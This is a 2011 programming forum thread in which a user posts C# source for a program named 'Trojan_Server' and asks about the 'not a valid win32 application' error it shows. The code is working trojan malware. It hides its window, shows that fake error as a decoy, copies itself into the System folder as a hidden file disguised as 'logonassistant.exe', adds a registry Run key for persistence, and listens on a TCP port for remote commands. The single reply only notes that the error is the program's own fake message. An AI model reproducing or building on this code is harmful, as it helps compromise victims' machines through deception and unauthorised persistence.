-
May 19th, 2011, 12:22 PM
#1
Not a valid win32 application
Hi, whenever I try to run my server I always get a "Not a valid win32 application" error. How can i fix this?
Hers my code:
Code:
using System;
using System.Collections.Generic;
using System.Net.Sockets;
using System.IO;
using Microsoft.Win32;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
namespace Trojan_Server
{
class Program
{
public static NetworkStream Receiver;
[DllImport("kernel32.dll")]
public static extern bool FreeConsole();
static void Recieve()
{
while (true)
{
try
{
byte[] recPacket = new byte[1000];
Receiver.Read(recPacket, 0, recPacket.Length);
Receiver.Flush();
string Command = Encoding.ASCII.GetString(recPacket);
string[] commandArray = System.Text.RegularExpressions.Regex.Split(Command, "!!!---");
Command = commandArray[0];
switch (Command)
{
case "MESSAGE":
string Msg = commandArray[1];
System.Windows.Forms.MessageBox.Show(Msg.Trim('\0'));
break;
case "OPENSITE":
string Site = commandArray[1];
System.Diagnostics.Process IE = new System.Diagnostics.Process();
IE.StartInfo.FileName = "iexplore.exe";
IE.StartInfo.Arguments = Site.Trim('\0');
IE.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Maximized;
IE.Start();
break;
}
}
catch { break; }
}
}
public static bool CheckIfRan()
{
bool IsRan = false;
if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe"))
{
RegistryKey k = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
if (k.GetValue("logonassist") != null)
{
IsRan = true;
}
else
{
IsRan = false;
}
}
return IsRan;
}
public static void AddToStartup()
{
try
{
File.Copy(Convert.ToString(System.Reflection.Assembly.GetExecutingAssembly().Location), Convert.ToString(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe"), true);
File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe", FileAttributes.Hidden);
File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe", FileAttributes.System);
File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe", FileAttributes.ReadOnly);
RegistryKey k = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
k.SetValue("logonassist", Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe", RegistryValueKind.String);
k.Close();
}
catch
{
}
}
static void Main(string[] args)
{
FreeConsole();
bool Check = CheckIfRan();
if (!Check)
{
System.Windows.Forms.MessageBox.Show("This program is not a valid win32 application!", "Error", System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Error);
AddToStartup();
TcpListener l = new TcpListener(2000);
l.Start();
TcpClient Connection = l.AcceptTcpClient();
Receiver = Connection.GetStream();
System.Threading.Thread Rec = new System.Threading.Thread(new System.Threading.ThreadStart(Recieve));
Rec.Start();
}
}
}
}
-
May 19th, 2011, 01:06 PM
#2
Re: Not a valid win32 application
Does the file "logonassistant.exe" exist where you're checking, and the registry entry exists? If not, the program is written to report 'not valid win32 application'.
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|